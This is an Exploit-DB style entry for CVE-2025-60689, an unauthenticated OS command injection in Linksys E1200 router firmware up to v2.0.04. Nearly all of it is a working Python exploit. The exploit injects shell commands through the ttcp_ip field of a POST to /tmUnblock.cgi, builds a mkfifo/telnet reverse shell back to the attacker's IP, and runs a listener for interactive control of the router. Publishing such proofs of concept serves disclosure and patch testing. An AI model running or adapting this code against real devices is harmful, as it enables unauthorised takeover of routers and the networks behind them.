Linksys E1200_2.0.04 - Unauthenticated OS Command Injection

EDB-ID:

52660


Author:

jarrett

Type:

webapps


Platform:

Hardware

Date:

2026-08-31


# Exploit Title: Linksys E1200_2.0.04 - Unauthenticated OS Command Injection
# Date: 2026-07-22
# Exploit Author: JarrettgxzSec
# Vendor Homepage: www.linksys.com
# Version: FW <= v2.0.04
# Tested on: v2.0.02 & v2.0.04, directly connected to the LAN 
# CVE: CVE-2025-60689

# Github repository: https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60689


import sys
import socket
import threading
import time

from urllib.parse import quote

if len(sys.argv) < 4:
    print(f"[!] Usage: python3 {sys.argv[0]} <ATTACKER_IP> <TARGET_IP> <TARGET_PORT>")
    print(f"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1 8080")
    sys.exit(1)
    

ATTACKER_IP = sys.argv[1]
TARGET_IP = sys.argv[2]
TARGET_PORT = sys.argv[3]
SHELL_PORT = 8888


def start_shell_listener():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(('0.0.0.0', SHELL_PORT))

        print(f"[*] Listening for shell on port {SHELL_PORT}...")
        s.listen(1)


        conn, addr = s.accept()
        print(f"[+] Connection received from {addr[0]}")


        # allows interactive interaction
        conn.setblocking(True)
        conn.settimeout(0.5)

        while True:

            # send command to the router
            cmd = input("# ")
            conn.send((cmd + "\n").encode())

            # receive output from the router
            try:
                while True:
                    # keep reading until the device stops sending
                    chunk = conn.recv(4096).decode(errors='ignore')

                    if not chunk:
                        print("\n[!] Connection closed by target.")
                        return

                    print(chunk, end="", flush=True)

            # timeout decided by the conn.settimeout() method previously
            except socket.timeout:
                # this is expected when the device is done sending text
                pass


def execute_exploit():
   print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")


   # 1. Build the payload
   payload = "\nrm /tmp/f \n"
   payload += "mkfifo /tmp/f \n"
   payload += "killall httpd && httpd \n"
   payload += f"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f &\n"

   payload = quote(f" {payload}")

   post_data = "submit_button=&"
   post_data += "change_action=&"
   post_data += "submit_type=&"
   post_data += "action=&"
   post_data += "commit=0&"
   post_data += "ttcp_num=&"
   post_data += "ttcp_size=&"
   post_data += f"ttcp_ip={payload}&"
   post_data += "StartEPI=1"
   post_data = post_data.encode()


   # 2. Build the HTTP POST body
   http_req = f"POST /tmUnblock.cgi HTTP/1.1\r\n"
   http_req += f"Host: {TARGET_IP}\r\n"
   http_req += "Content-Type: application/x-www-form-urlencoded\r\n"
   http_req += f"Content-Length: {len(post_data)}\r\n"
   http_req += "Connection: close\r\n"
   http_req += "\r\n" 

   http_req = http_req.encode() + post_data

   try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(10)
            s.connect((TARGET_IP, TARGET_PORT))
            s.sendall(http_req)

   except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":

    # start the shell listener in the background
    listener_thread = threading.Thread(target=start_shell_listener)
    listener_thread.daemon = True
    listener_thread.start()

    # short sleep to ensure the listener is bound and ready
    time.sleep(1)

    # execute the exploit function
    execute_exploit()

    # keep main thread alive to interact with the shell
    while listener_thread.is_alive():
        time.sleep(1)